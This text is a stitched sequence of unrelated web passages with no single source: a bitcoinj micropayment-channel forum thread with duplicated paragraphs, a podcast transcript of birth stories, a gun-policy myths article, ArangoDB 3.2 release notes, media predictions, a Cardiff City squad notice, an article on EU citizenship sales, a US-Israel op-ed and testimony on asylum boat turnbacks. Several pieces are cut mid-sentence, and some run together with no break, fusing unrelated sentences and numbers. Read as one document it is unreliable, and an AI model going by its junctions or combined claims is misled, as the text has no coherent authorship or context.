demonstration of how to turn a contract design into reality, I hope we've cut a road through the jungle that others can follow.If you're interested in building a contract app, please do consider building on bitcoinj and feel free to ask us any questions on the mailing list. We're happy to help.
melvster
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Sr. MemberActivity: 350Merit: 250 Re: [ANNOUNCE] Micro-payment channels implementation now in bitcoinj June 27, 2013, 01:47:33 PM #4 Quote from: Mike Hearn on June 27, 2013, 01:03:54 PM
Please see
https://code.google.com/p/bitcoinj/source/detail?r=4908c241f7161bc5facfb85b466feba2929f2567
or the documentation here:
https://code.google.com/p/bitcoinj/wiki/WorkingWithMicropayments
The documentation explains how the protocol works, the API design and takes you through the included example client/server apps line by line. As you can see it is very easy to use.
Matt did 90% of the work and deserves most of the credit, but I'd also like to give a shout out to Jeremy Spilman and of course Satoshi for their contributions to the design.
Now for some personal commentary. I'm excited by this work for a couple of reasons.
One is that I strongly believe that Bitcoin's short to medium term future lies in finding an advanced "killer app" rather than trying to compete head on with VISA or MasterCard. Whilst Bitcoin has many advantages over credit card payments, for most people the barriers to entry are high enough to keep them on their existing payment solutions. If we create a new market or application that is highly compelling and requires Bitcoin, then we give people a stronger incentive to acquire some. And once they've made the decision to get some coins for that killer app, why not get a little bit more than needed and also use it to buy other things later? To make a killer app we need things Bitcoin can do that other systems can't. Micropayments is an obvious example.
The second reason this work is important is that our community hasn't been making good use of the contracts features Satoshi left for us. Despite that many designs were documented years ago (by me on the Contracts page), there haven't really been any apps that use them. "Where are the contract apps?" is a question that came up a lot when I was in California for the conference. The cause seems to be that it's hard to understand how to turn the high level descriptions on the wiki into working code. The micropayment channels code in bitcoinj now gives us a worked example from beginning to end - you can read the theory, read the protocol description and then see it how to translate it into a real, working system that manages all the fiddly details. Now we have an complete demonstration of how to turn a contract design into reality, I hope we've cut a road through the jungle that others can follow.
If you're interested in building a contract app, please do consider building on bitcoinj and feel free to ask us any questions on the mailing list. We're happy to help.
Matt Corallo and I have added support for micropayment channels to bitcoinj. Micropayment channels allow you to send, after an initial setup process, very tiny payments to a chosen third party in a trust-free manner without broadcasting all the payments onto the block chain. This lets you avoid the fees and anti-flooding protections that would otherwise cause problems. The cost is a single ECDSA signature on the client side, and a single verify on the server side.Please see the announcement, or the code here:or the documentation here:The documentation explains how the protocol works, the API design and takes you through the included example client/server apps line by line. As you can see it is very easy to use.Matt did 90% of the work and deserves most of the credit, but I'd also like to give a shout out to Jeremy Spilman and of course Satoshi for their contributions to the design.Now for some personal commentary. I'm excited by this work for a couple of reasons.One is that I strongly believe that Bitcoin's short to medium term future lies in finding an advanced "killer app" rather than trying to compete head on with VISA or MasterCard. Whilst Bitcoin has many advantages over credit card payments, for most people the barriers to entry are high enough to keep them on their existing payment solutions. If we create a new market or application that is highly compelling and requires Bitcoin, then we give people a stronger incentive to acquire some. And once they've made the decision to get some coins for that killer app, why not get a little bit more than needed and also use it to buy other things later? To make a killer app we need things Bitcoin can do that other systems can't. Micropayments is an obvious example.The second reason this work is important is that our community hasn't been making good use of the contracts features Satoshi left for us. Despite that many designs were documented years ago (by me on the Contracts page), there haven't really been any apps that use them. "Where are the contract apps?" is a question that came up a lot when I was in California for the conference. The cause seems to be that it's hard to understand how to turn the high level descriptions on the wiki into working code. The micropayment channels code in bitcoinj now gives us a worked example from beginning to end - you can read the theory, read the protocol description and then see it how to translate it into a real, working system that manages all the fiddly details. Now we have an complete demonstration of how to turn a contract design into reality, I hope we've cut a road through the jungle that others can follow.If you're interested in building a contract app, please do consider building on bitcoinj and feel free to ask us any questions on the mailing list. We're happy to help.
I'm super excited about contracts, and I'll be hoping to implement a lot of this in future.
Just commenting on one point. I think bitcoin already does have a 'killer app' and that's person to person payment.
Bitcoin's short to medium future relies on scaling it to a wider audience. New features do this too, but contracts are likely to fill a niche rather than, say, increase usage/liquidity by an order of magnitude. But I'd LOVE to be wrong about that last statement. KUTGW! I'm super excited about contracts, and I'll be hoping to implement a lot of this in future.Just commenting on one point. I think bitcoin already does have a 'killer app' and that's person to person payment.Bitcoin's short to medium future relies on scaling it to a wider audience. New features do this too, but contracts are likely to fill a niche rather than, say, increase usage/liquidity by an order of magnitude. But I'd LOVE to be wrong about that last statement. KUTGW!
TierNolan
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LegendaryActivity: 1218Merit: 1002 Re: [ANNOUNCE] Micro-payment channels implementation now in bitcoinj June 27, 2013, 03:20:40 PM #9 So, at any time, the server has
- fully signed multi-sig transaction (value of A + B)
- refund transaction that pays A to the client and B to the server
The client has
- fully signed multi-sig transaction
- refund transaction that |
. I didn’t notice this, I mean I was in labor land so I didn’t know. This questioning cycle just kept on happening with me relaxing in the tub disbelieving and then a strong contraction. It was this weird time warp thing happening in my head because it was just sooooo much easier than back labor. So they were getting farther apart, they were like three minutes apart when we got to the hospital and then while I was in the tub they were like ten minutes apart. I was vocalizing with each one, I had to move with them, I had to concentrate on them, stuff like that. So there were some weird things about it but good things as well. This is why I love my doula, she left us in the jacuzzi tub and went to talk with my nurse. The nurse was like ‘I think we’re going to have to start pitocin. Her contractions are moving really far apart, I think we’re going to have to start pitocin.’ and my doula was like ‘I don’t know, do you hear her?’ So they got me out of the tub and took a walk through the halls, things started getting intense again with that turn around the halls. We got back to the room, they took my vitals and then my water broke. Then things truly intensified again. My plan was to have a water birth so I stopped to pee on my way there and then it feels like I’m going to throw up. At that point in your birth all you can say is ‘Vomit, Vomit, Vomit, Vomit!’ My midwife is holding the vomit bag and I find out that what I thought was a vomit was really the start of a contraction that was going the other way. I went ‘Oooooh no this is not going up it’s going down.’
-Both Laugh-
[J]: So I jumped off the toilet into the tub and then her head came out.
[B]: Wow
[J]: Yeah. Then you hear about the Fetal Ejection Reflex where it pushes the baby out, that happened. Literally I jumped in the tub and her head was born then I felt the ring of fire from my second child. My midwife, who was hold my vomit bag, only got on one glove before my baby was born.
[B]: Did you prefer the water birth?
[J]: Yeah. You know it wasn’t the right choice for my first birth because I had to push in all of the positions. Also after my water broke with my first I did Not want to get back into the tub, that did not sound cool. They actually like me deliver the placenta in the tub, not what they usually do but it happened really fast. Usually they have the midwife, the labor and delivery nurse, and at least one nursery nurse maybe two but she was just so fast. It was just my midwife, my doula (who thankfully grabbed the camera when she heard my vocalization), and my husband. Apparently- I didn’t even notice or hear this, my doula told me later- when her head was born, my midwife with her one glove said ‘There’s a head’ and my nurse went ‘WHaTTT?!?!’ She started gathering all of the delivery instruments, opening sterile packaging, and by the time she got everything together my baby was born.
-Both Laugh-
[J]: Yeah it was awesome. Then afterwards when they were moving me to postpartum, my nurse kissed me. It was really just an awesome birth. Then my with my third birth I planned on delivery with the same midwifery practice in the same hospital with another water birth. This was last year when ACOG sent out their water birth opinion paper about how they should be experimental. So my hospital banned them.
[B]: Oh my gosh…
[J]: Yeah so I was seven months pregnant. Not Nice. Not Nice at all. Anyways what ended up happening was we ended up transferring to a freestanding birth center. Which was about 55 minutes from our house compared to the 15 minutes that was the hospital distance, but I wasn’t going to give my money to them so yeah we went to the birth center.
[B]: Grrrrrrr
[J]: It’s back now though so that’s good. After my first birth and before my second I became a birth doula and had worked at this birth center before. The issue was though that I wanted to go to the same hospital because I knew that I could get the birth that I wanted there and had these great relationships with my midwife and most of the nurses there. So that was why originally we planned the same birth instead of this birth center even though it’s amazing. Anyways this birth started completely different. My husband was helping out with a church concert and I was taking a nap with the big kids around 4 o’clock in the afternoon. This day was 39 and 1 days pregnant and I woke up from this nap, rolled over doing some of those pelvic thrusts, got up and my pants were wet.
[B]: Oh wow.
-Both Laughing-
[J]: Yeah so I waddled over to the bathroom and was like ‘soooo did I have an accident?’ That was different from the other two because their water broke at around 9 and 1/2 centimeters in very active labor and Pops! With this one it was just all of a sudden I was wet and this is why even doulas need doulas because I’m at home with the older kids, my husband is ten minutes away at church, and I think my water just broke. What do I do? So I texted my doula, she was my student doula from my first birth and another doula that we all do backup for each other, and said ‘uuuuuuhhhhh I think my water just broke, what do I do?’
-Both Laughing-
[J]: So I get my husband home first and then called the birth center saying ‘Uhhhh I think my water just broke so I guess we’re heading out soon.’ For her birth I studied Hypnobabies, and I was doing my tracks during nap time, it was actually fear clearing which is what you’re supposed start out with when you begin your birthing day. So it was Perfect! Anyways I started all of my tracks, we grabbed all of our stuff, got the kids to grab all their stuff. We were planning on bringing the kids, they wanted to come and see their baby sister being born. My son was five and a half when my youngest was born, and my daughter had just turned three. We had watched videos, we looked at their birth photos, told them their birth stories, they had helped me with my hypnobabies cues, they both had jobs, etc. So they grabbed the last of their stuff to pack into their bags to stay overnight at grandma and grandpa’s house. I called my dad to get them rolling to take care of the big kids while everyone was at the birth center. By that time contractions had started but they weren’t really anything. They were just piddly. They did intensify pretty quickly but when we were getting in the car and with hypnobabies they weren’t really anything. So it was super easy with them and just coast with it. Anyways we get in the car and they’re probably three minutes apart and maybe 35-40 seconds apart. By the time we got to the birth center they were about eight minutes apart, they got the first dose of Group B antibiotics in and doulas arrived, everyone was there. After the antibiotics were in, got unhooked the IV and walked around the parking lot a few times. Then I started back labor…… Yay. But seriously though YaY to Hypnobabies! If anyone’s on the fence DO IT because it was Ammmaaaaazzing! There was such a difference between the back labor of my first baby and my third it was seriously night and day. Partly because I’d already done one before, it’s not my favorite thing in the world, but it’s not going to kill me. Then with my hypnobabies and being able to focus my hypno anesthesia, like with my first baby I needed my husband and doula doing counter pressure for every contraction, then with my third baby and back labor it felt nice to have counter pressure but I didn’t need it. All of the hypno practice was really just golden.
[J Continues]: So with her, her position was right occipital transverse. So she was facing my left hip. Forward leaning positions felt good, so lots of hands and knees or leaning over things and stuff like that. Oh and walking felt really good too. So I had been there for an hour, let’s see this will have been four hours total so far, I said I think that I want to get in the tub. When we first got there they checked me and I was 4-5 centimeters, 90 percent effaced, and low station which is why I felt like there was a head on my cervix. The midwife was like ‘well let’s check to see what’s going on’ you know because I’d only been there an hour, so she did and I was only a little bit more closer to a five. So she said not to get in the tub to make sure we don’t slow the labor. So they got me a birth ball and I leaned on that on the floor and the bed. At some point I told my doulas that my midwife was mean and that I was surely more than five. They said yup
-Both Laugh-
[J]: I then told them that I was feeling some rectal pressure. Now if any of you have given birth you know that there’s a baby’s head down there. So one of my doulas ran out and told the midwife ‘She said that she had some rectal pressure, she just said those words’ and the midwife was like ‘Whaaaat?’ because this was an hour after I had asked to get in the tub where I was only five centimeters. So the midwife and the nurse come back in and ask if I feel pushy. I say ‘ummm noooo not pushy just, you know, rectal pressure’ and while this was happening the nurse was trying to listen with the doppler and another contraction started. That one definitely felt pushy so I was like ‘Ahhhh what’s going on here??’ At some point, I don’t remember if it was before or after the pushy contraction, but at some point the midwife had suggested sitting on the toilet to get my cervix to dilate and I was like ‘Nooooo.’ All because of my last birth having to rush around. Anyways, they filled up the tub and I got in and ohhhhh it felt sooooo nice, just heavenly. At some time in that last hour between getting checked and getting in the tub I had felt baby turn, like all of the pressure went away from my back and directly to dilation, cervical pressure. Now we have this on video, which is the only reason why I remember it, by after I got in the tub one of my doulas got my other kids because they were in the other room watching the movie Cars with my dad, which was really cute. My son runs in, grabs the bottle of water, and gives me a drink! So, anyways, I was laying on my side and soaking up all the awesomeness of the lovely tub and then a really pushy contraction came on and I was like ‘ooohhh this is not the right position.’ I then got on my hands and knees, and back tracking a bit, the midwife had asked my husband if he wanted to catch when we arrived at the birth center and he had said Yay! So my midwife was giving my husband directions on how to catch and my three year old is like hopping around trying to see everything so my midwife picks her up so she can see. Then the very next contraction, where I had just gotten into the tub, I birthed a head. What was cool for me was that I could feel what was going on down there and then like with my other daughters birth the ejection reflex birthed the rest of her.
[J]: Yeah so it was really awesome, my husband helped get her out and while I picked her up the nurse came over and helped untangle her from her extra long cord. It was legitimately loosely wrapped twice around her neck, around her torso, and around her arm. Hahaha. Besides that my husband and I were the only ones who held her until we got out of the tub. So, yeah those are my births. It was cool because I had back labor for my first and my third, my second and my third were both water births and fast pushing, my first and my second I woke up at 3:30 in the morning to go to the bathroom and my water didn’t break until the end, so it’s just cool how there were similarities and differences between them all.
[B]: I always tear up during the telling of a birth story and for you it was when your son came in a brought you water. So cute.
[J]: I don’t know if other moms have said this but it’s interesting how a child’s birth can foreshadow their personality. Like my son is very stubborn and we butt heads all the time, then my second is real pokey unless she wants something it has to be right not, then my third kind of goes with the flow and chill.
[B]: So thanks so much for your time today. I loved hearing all of your birth stories and it’s always fun to hear from a doula who says things like ‘rectal pressure’
-Both Laugh- End of Episode-
[B]: Joyce thanks again for being here today to share your birth stories. If you want to review any of the resources that she mentioned visit thebirthhour.com/podcast/joyce You can connect with me on Twitter and Instagram @thebirthhour Thanks so much for listening if you enjoyed our show visit thebirthhour.com to sign up for our newsletter and if you really like the show leave a review on iTunes. I’m Bryn Huntpalmer and you’ve been listening to another episode of The Birth Hour. Thanks for listening!
Here’s a link to the original broadcast:
Share Pin Shares 01. Gun control is a losing battle for Democrats.
In his 2004 memoir, Bill Clinton wrote that Democrats lost control of Congress in the 1994 midterm elections because they had passed an assault-weapons ban that year. Many Democrats believe that Al Gore lost the 2000 presidential race because of his embrace of stronger gun laws during the Democratic primaries.
But close study of these and other elections shows otherwise. In the Republican victory of 1994, many incumbent Democrats in traditionally GOP-leaning districts couldn’t hold on to their seats, whatever their position on the Second Amendment. And American Prospect editor Paul Waldman’s analysis of national elections from 2004 to 2010 found that the NRA had little success electing pro-gun candidates over those not favored by the group. Waldman also concludes that, despite its repeated claims, the NRA did not deliver the presidential race to George W. Bush in 2000.
The lesson is not a new one in American politics: Single issues rarely determine electoral outcomes, and guns are no exception. This year, for example, the open floodgates of campaign cash on both sides — more than $1 billionfor each presidential candidate alone — dwarfed NRA spending.
And witness conservative Democrats, such as Sens. Mark Warner (Va.), Joe Manchin (W.Va.) and Bob Casey (Pa.), as well as Colorado Gov. John Hickenlooper, who have voiced support for possible new gun laws after Sandy Hook.
2. Guns are deadliest as murder weapons.
Gun murders grab headlines, but more Americans die every year from gun suicides than gun homicides. In 2009, for example, almost 11,500 Americans were killed by someone else with a gun, according to the Centers for Disease Control and Prevention, but more than 18,000 killed themselves with a firearm.
Some may shrug and say that suicidal individuals without guns would simply turn to another method. This is wrong. Not only do numerous studies link the presence of guns to elevated suicide rates, but suicide by gun is far more lethal than other methods. The “success rate” of gun suicide is about 90 percent, compared with less than 30 percent for poisoning, for example. Firearms also require the least amount of persistence and effort; the ease of pulling a trigger makes a gun more appealing to those who act on impulse. And studies of suicide survivors find that only about one in 10makes a second attempt.
3. America’s schools have become shooting galleries.
From Columbine to Sandy Hook, few crimes are more heinous than the killing of children. But schools are remarkably safe for kids — safer than their homes or the streets. Out of a school-age population of roughly 50 million, the number of violent school deaths between 1992 and 2010 did not exceed 63 per year, according to the National Center for Education Statistics. In other words, the odds of a child dying from a violent attack at school are about one in a million.
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That statistic is cold comfort to the families of the children slain in Connecticut and elsewhere. But schools continue to be safe places, and since the 1999 Columbine High School shooting, many have implemented security procedures to foil those contemplating crimes in the classroom. These measures include lockdown drills, metal detectors and security cameras, extra training for faculty and staff, and the presence of police officers — sometimes called “resource officers” — assigned to regular school duty.
4. Gun regulations are incompatible with America’s gun heritage.
When we think of settlers of colonial America and the 19th-century Wild West, we often picture fearless frontiersmen defending hearth and home from predators. But while gun possession is as old as the country, so is gun regulation.
In 1619, the Virginia House of Burgesses passed a law making the transfer of guns to Native Americans punishable by death. Other laws across the colonies criminalized selling or giving firearms to slaves, indentured servants, Catholics, vagrants and those who refused to swear a loyalty oath to revolutionary forces. Guns could be confiscated or kept in central locations for the defense of the community. And in the late 1700s and early 1800s, the state and federal governments conducted several arms censuses. (Imagine what the NRA would say if government officials went door to door today asking people how many guns they owned and whether they were functional.)
On the western frontier in the 19th century, to stave off violence, new towns and cities enacted laws to bar carrying guns. In fact, the typical western town had stricter gun laws than many 21st-century states. Today, four states have completely eliminated permits for handgun ownership and carrying.
5. The Second Amendment was intended to protect the right of Americans to rise up against a tyrannical government.
This canard is repeated with disturbing frequency. The Constitution, in Article I, allows armed citizens in militias to “suppress Insurrections,” not cause them. The Constitution defines treason as “levying War” against the government in Article III, and the states can ask the federal government for assistance “against domestic Violence” under Article IV.
Our system provides peaceful means for citizens to air grievances and change policy, from the ballot box to the jury box to the right to peaceably assemble. If violence against an oppressive government were somehow countenanced in the Second Amendment, then Timothy McVeigh and Lee Harvey Oswald would have been vindicated for their heinous actions. But as constitutional scholar Roscoe Pound noted, a “legal right of the citizen to wage war on the government is something that cannot be admitted” because it would “defeat the whole Bill of Rights” — including the Second Amendment.
robert.spitzer@cortland.edu
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Five myths about mass shootings
America loves a vigilante. Until we meet one.
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Robert J. Spitzer is distinguished service professor and chairman of the political science department at the State University of New York College at Cortland. He is the author of four books on gun policy, including “The Politics of Gun Control.”We are pleased to announce the release of ArangoDB 3.2. Get it here. After an unusually long hackathon, we eliminated two large roadblocks, added a long overdue feature and integrated an interesting new one into this release. Furthermore, we’re proud to report that we increased performance of ArangoDB on average by 35%, while at the same time reduced the memory footprint compared to version 3.1. In combination with a greatly improved cluster management, we think ArangoDB 3.2 is by far our best work. (see release notes for more details)
One key goal of ArangoDB has always been to provide a rock solid platform for building ideas. Our users should always feel safe to try new things with minimal effort by relying on ArangoDB. Todays 3.2 release is an important milestone towards this goal. We’re excited to release such an outstanding product today.
RocksDB
With the integration of Facebook’s RocksDB, as a first pluggable storage engine in our architecture, users can now work with as much data as fits on disk. Together with the better locking behavior of RocksDB (i.e., document-level locks), write intensive applications will see significant performance improvements. With no memory limit and only document-level locks, we have eliminated two roadblocks for many users. If one chooses RocksDB as the storage engine, everything, including indexes will persist on disk. This will significantly reduce start-up time.
See this how-to on “Comparing new RocksDB and mmfiles engine” to test the new engine for your operating system and use case.
Pregel
Distributed graph processing was a missing feature in ArangoDB’s graph toolbox. We’re willing to admit that, especially since we managed to fill this need by implementing the Pregel computing model.
With PageRank, Community Detection, Vertex Centrality Measures and further algorithms, ArangoDB can now be used to gain high-level insights into the hidden characteristics of graphs. For instance, you can use graph processing capabilities to detect communities. You can then use the results to shard your data efficiently to a cluster and thereby enable SmartGraph usage to its full potential. We’re confident that with the integration of distributed graph processing, users will now have one of the most complete graph toolsets available in a single database.
Test the new pregel integration with this Community Detection Tutorial and further sharpen advanced graph skills with this new tutorial about Using SmartGraphs in ArangoDB.
Fault-Tolerant Foxx Services
Many people already enjoy using our Foxx JavaScript framework for data-centric microservices. Defining your own highly configurable HTTP routes with full access to the ArangoDB core on the C++ level can be pretty handy. In version 3.2, our Foxx team completely rewrote the management internals to support fault-tolerant Foxx services. This ensures multi-coordinator clusters will always keep their services in sync, and new coordinators are fully initialized, even when all existing coordinators are unavailable.
Test the new fault-tolerant Foxx yourself or learn Foxx by following the brand new Foxx tutorial.
Powerful Graph Visualization
Managing and processing graph data may not be enough, causing visualizing insights to be important. No worries. With ArangoDB 3.2, this can be handled easily. You can use the open-source option via arangoexport to export the data and then import it into Cytoscape (check out the tutorial).
Or you can just plug in the brand new Keylines 3.5 via Foxx and install an on-demand connection. With this option, you will always have the latest data visualized neatly in Keylines without any export/import hassle. Just follow this tutorial to get started with ArangoDB and Keylines.
Read-Only Users
To enhance basic user management in ArangoDB, we added Read-Only Users. The rights of these users can be defined on database and collection levels. On the database level, users can be given administrator rights, read access or denied access. On the collection level, within a database, users can be given read/write, read only or denied access. If a user is not given access to a database or a collection, the databases and collections won’t be shown to that user. Take the tutorial about new User Management.
We also improved geo queries since this is becoming more important to our community. With geo_cursor, it’s now possible to sort documents by distance to a certain point in space (Take the tutorial). This makes queries simple like, “Where can I eat vegan in a radius of one mile around Times Square?” We plan to add support for other geo-spatial functions (e.g., polygons, multi-polygons) in the next minor release. So watch for that.
ArangoDB 3.2 Enterprise Edition: More Room for Secure Growth
The Enterprise Edition of ArangoDB is focused on solving enterprise-scale problems and secure work with data. In version 3.1, we introduced SmartGraphs to bring fast traversal response times to sharded datasets in a cluster. We also added auditing and enhanced encryption control. Download ArangoDB Enterprise Edition (forever free evaluation).
Working closely with one of our larger clients, we further explored and improved an idea we had about a year ago. Satellite Collections is the exciting result of this collaboration. It’s designed to enable faster join operations when working with sharded datasets. To avoid expensive network hops during join processing among machines, one has ‘only’ to find a solution to enable joins locally.
With Satellite Collections, you can define collections to shard to a cluster, as well as set collections to replicate to each machine. The ArangoDB query optimizer knows where each shard is located and sends requests to the DBServers involved, which then execute the query locally. The DBservers will then send the partial results back to the Coordinator which puts together the final result. With this approach, network hops during join operations on sharded collections can be avoided, hence query performance is increased and network traffic reduced. This can be more easily understood with an example. In the schema below, collection C is sharded to multiple machines, while the smaller satellites (i.e., S1 – S5) are replicated to each machine, orbiting the shards of C.
Use cases for Satellite Collection are plentiful. In this more in-depth blog post, we use the example of an IoT case. Personalized patient treatment based on genome sequencing analytics is another excellent example where efficient join operations involving large datasets, can help improve patient care and save infrastructure costs.
Security Enhancements
From the very beginning of ArangoDB, we have been concerned with security. AQL is already protected from injections. By using Foxx, sensitive data can be contained within in a database, with only the results being passed to other systems, thus minimizing security exposure. But this is not always enough to meet enterprise scale-security requirements. With version 3.1, we introduced Auditing and Enhanced Encryption Control and with ArangoDB 3.2, we added even more protection to safeguard data.
Encryption at Rest
With RocksDB, you can encrypt the data stored on disk using a highly secure AES algorithm. Even if someone steals one of your disks, they won’t be able to access the data. With this upgrade, ArangoDB takes another big step towards HIPAA compliance.
Enhanced Authentication with LDAP
Normally, users are defined and managed in ArangoDB itself. With LDAP, you can use an external server to manage your users. We have implemented a common schema which can be extended. If you have special requirements that don’t fit into this schema, please let us know.
Conclusion & You
The entire ArangoDB team is proud to release version 3.2 of ArangoDB — this should not be a surprise considering all of the improvements we made. We hope you will enjoy the upgrade. We invite you to take ArangoDB 3.2 for a spin and to let us know what you think. We look forward to your feedback!
Download ArangoDB 3.22018 will be the year that every media market in the country gets its own Fox News-style voice at the local level.
The FCC looks set to approve Sinclair Broadcast Group’s nearly $4 billion takeover of Tribune Media, ensuring that Sinclair’s reliably conservative take on the news will soon reach 70 percent of households through TV affiliates. Not coincidentally, this will also be the breakout year for former Trump surrogate Boris Epshteyn, whose scorching commentaries in the president’s defense Sinclair stations are required to air multiple times a week.
Meanwhile, conservative tycoons with less money to spend on their hobbies will recognize that a number of local papers are primed to be purchased on the cheap. This has already happened at LA Weekly, which was taken over late in 2017 by a shadowy conservative group of investors out of Orange County.
Armstrong Williams, the Ben Carson confidante who proved his commitment to journalistic standards back in the aughts by taking money to promote Bush administration policy pushes in his column, expressed an interest in buying Washington City Paper. Williams’s editorial ideas, according to The Washington Post, included soft-focus profiles of Hope Hicks’s hobbies and Steve Bannon’s charitable work.
Williams eventually dropped his bid, but there are plenty of other distressed papers around the country that can be purchased at rock-bottom rates. As local papers continue to struggle, expect GOP donors with money to burn to follow Williams’s lead.
Other predictions:
— The media infrastructure pushing hoaxes and conspiracy theories will only continue to grow, with increasingly dangerous effects offline.
— New technology will make it much easier to convincingly doctor video, leading to a high-profile reporting disaster after an outlet reports on faked video. Enterprising youth in a former Soviet bloc country will master the art of doctoring “real” news video, further shaking the foundations of objective truth and giving Macedonian teens a break from the discourse.
— This one is more of a wish than a prediction, but I hope 2018 is the year that media prognosticators stop hoping that “media literacy” programs will educate away the problem of people falling for obvious hoaxes in their news.
Anyone who would actually seek out media literacy training doesn’t need it, and Republican legislators would never allow a school curriculum that advised against trusting, say, Infowars.
Until then, calls for media literacy education will remain a comforting idea that journalists tell themselves to avoid confronting ugly facts about their industry and country.Cardiff City can confirm that Ben Turner will depart the club this summer following five years of service to the Bluebirds.
Ben joins fellow senior professionals Kenwyne Jones, Joe Lewis, Etien Velikonja and Filip Kiss in departing Cardiff City Stadium. Each of them leave with our sincere thanks and very best wishes.
‘TENACITY & CONSISTENCY' Having joined the Bluebirds back in August 2011, Birmingham-born Ben Turner has been a key part of our first-team setup and progression. A no-nonsense centre back, it didn’t take ‘Big Ben’ long to etch his name into Cardiff City’s history books - starting in the 2012 League Cup Final and scoring that breath-taking 120th minute equaliser against Liverpool.
Ben played a significant part in the heart of the City backline as City romped towards promotion during the 2012/13 season and went on to make thirty-one Premier League appearances the following year with many touting him for an England call up by virtue of his tenacity and consistency.
Injuries unfortunately curtailed Ben’s Bluebirds progress over the past two seasons, though a swan-song on the final day of the 2015/16 campaign at home to Birmingham City proved fitting.
Ben made 121 appearances during his five years at the club. We thank him for his significant contribution and the memories he helped make.
U21/DVP RETAIN LIST
In addition to the senior professionals mentioned above, four of our U21/DVP crop will be moving on to pastures new.
Cardiff City Football Club would like to wish Jazzi Barnum-Bobb, Abdi Noor, Tyler Roche and Curtis Watkins the very best of luck for their future endeavours.
Contract extensions have been offered to U21/DVP squad members. Luke O'Reilly, Elijah Phipps, Jamie Veale, Macauley Southam, David Tutonda, Ashley Baker, Dylan Rees, Tom James, Robbie Patten, Tommy O'Sullivan and Theo Wharton.
Meanwhile, professional deals have been offered to members of this season’s U18 squad to step up into U21/DVP football. We’d like to congratulate Jamie Bird, Rhys Abbruzzese, Lloyd Humphries and Rollin Menayese and look forward to monitoring their progress.
Watch some of Big Ben's highlights with the Bluebirds below...Every country in the European Union has the right to offer citizenship for sale. Depending on the country and its economic situation, the price tags vary, at times wildly.
And every so often a scandal pops around the continent with the best deal of the moment. The latest comes courtesy of Bulgaria and its new fast-track system that enables foreigners to get a passport and the rights of all European Union citizens without even the minimum conditions set by many other EU countries peddling their passports and residence visas, such as buying property or investing in businesses.
All Bulgaria asks for is the equivalent of £150,000 and a visit to the eastern European country for two days, according to an investigation by undercover reporters from the UK's Daily Telegraph.
Visas for sale are nothing new in the EU. Most countries, among them Great Britain, France and Ireland, offer them in order to attract foreign capital. Known as “Golden Visas,” they usually are considered an incentive to those able to invest either in a new or existing local business, or in property, or by creating local jobs with the caveat that they show they are not laundering money.
The United States, Canada and Australia operate similar schemes to speed up residency permits for individuals investing in businesses or buying property worth more than one million of the local currency - in these cases dollars, dollars and dollars.
The EU financial crisis in recent years, however, has opened the visas-for-investment exchange to a far larger number of less wealthy foreign investors. Spain, Portugal, and Greece, to name a few, have been offering them to those with enough money to buy a second home abroad.
Portugal and Spain will speed residency applications to people buying properties worth €500,000. In Cyprus, the price is €300,000; Greece, its economy dire, demands only €250,000. The small island of Malta was publicizing a fast-passport scheme for €650,000.
But none has a scheme as undemanding as Bulgaria's, which allegedly provides a passport without the need to live or work in the country. “So long as applicants can deposit sufficient funds, they need only visit the east European country for two days to obtain all the rights of EU citizens,” the Telegraph claims. “Even someone with a criminal record who has been turned down for a British passport can qualify for Bulgarian citizenship under the scheme, agents brokering the deal said.”
What has the British railing is the fact that through the Bulgarian deal, “non-Europeans can buy European Union citizenship entitling them to live and work in Britain for as little as £150,000.”
A passport broker with offices in Sofia, London and Dubai told the undercover reporters that “it’s an EU passport and anywhere in the European Union you can settle down…When you become a Bulgarian citizen, then you have all the rights of an EU citizen, you live, study, work, anywhere within the European Union.”
The article explains that an EU or British student studying Preclinical Medicine at Oxford University, for example, would pay £9,000 a year in tuition fees, compared to the £16,545 paid by an overseas student.
The entire issue has triggered concern among EU officials. “It is legitimate to question whether EU citizenship rights should merely depend on the size of someone’s wallet or bank account.” warned EU Justice Commissioner Vivane Reding. “Citizenship must not be up for sale”.
David Hanson, the UK's shadow immigration minister, said that he is “concerned by the growing trend for some EU member states to sell citizenship with too few security measures and ways to stop potential abuse, and I believe that the Foreign and Commonwealth Office should be doing more to work with these countries and put forward our significant concern about these measures.”The American people, who still want to stop Al-Qaeda and the Islamic State, are only dimly aware that longtime U.S. “allies” Israel and Saudi Arabia have shifted into an effective alliance with those Sunni jihadists as part of their regional war against Iran and Shiite Islam, as Lawrence Davidson explains.
By Lawrence Davidson
It is often alleged that the basis for U.S.-Israeli relations lies in “shared concerns and interests.” But what really holds the relationship together is a systemic aspect of American politics – the system of special interest lobbying and the money that underlies it.
That practice is just about as old as the country itself, and the Zionist lobby is a past-master at exploiting this system. With the Supreme Court rulings telling us that political spending and donations are forms of free speech, this rather perverse aspect of U.S. politics is not going to change in the foreseeable future.
Therefore, one would assume that the present deterioration in relations between the Obama White House and Israeli Prime Minister Benjamin Netanyahu, as refreshing as it is, only represents a temporary glitch rather than a permanent breach in the alliance between the two countries. Well, perhaps, but getting the relationship back to the status quo ante may be harder than many expect.
For example, on March 29, the New York Times reported that former Secretary of State Hillary Clinton met with Malcolm Hoenlein, executive vice chairman of the Conference of Presidents of Major American Jewish Organizations to let him know that she wants to “improve relations with Israel.” That sort of statement is a standard prerequisite for anyone planning to run for the presidency in 2016.
While there was no elaboration on the meeting coming from Clinton’s office, Mr. Hoenlein was quite forthcoming. According to him, “Secretary Clinton thinks we need to all work together to return the special U.S.-Israeli relationship to a constructive footing, to get back to basic shared concerns and interests.”
Wishful thinking aside, is that really possible? While Clinton is attuned to her political interest in keeping the Zionist lobby bipartisan in 2016, Mr. Hoenlein seems blind to the fact that the U.S. and Israel no longer |
committee on March 21.
Dr Kate Purcell, a postdoctoral fellow at the University of New South Wales, said turning back boats beyond Australia's contiguous zone was problematic on a number of levels.
"It is my opinion that interdicting boats in Australia's contiguous zone and turning them back to the high seas would exceed Australia's limited right in that area to exercise the control necessary to prevent infringements of Australian immigration and customs laws and regulations," she told the committee.
"Turning boats back to Indonesia also carries a significant and inherent risk of violating Australia's obligations not to return people to persecution or other serious harm, or to places where there is a real risk that they will then be returned to other countries where there is a real risk of persecution or other serious harm."
She said Australia had international obligations in regard to the law of the sea and the migrant smuggling protocol, and "leaving boats on the high seas, whether the original vessels or Australian-owned lifeboats, would be inconsistent with these obligations."
Donald Rothwell, professor of international law at ANU, says the practice of towing vessels into the Indonesian exclusive economic zone, which extends beyond Indonesia's territorial seas, violates the right to freedom of navigation.
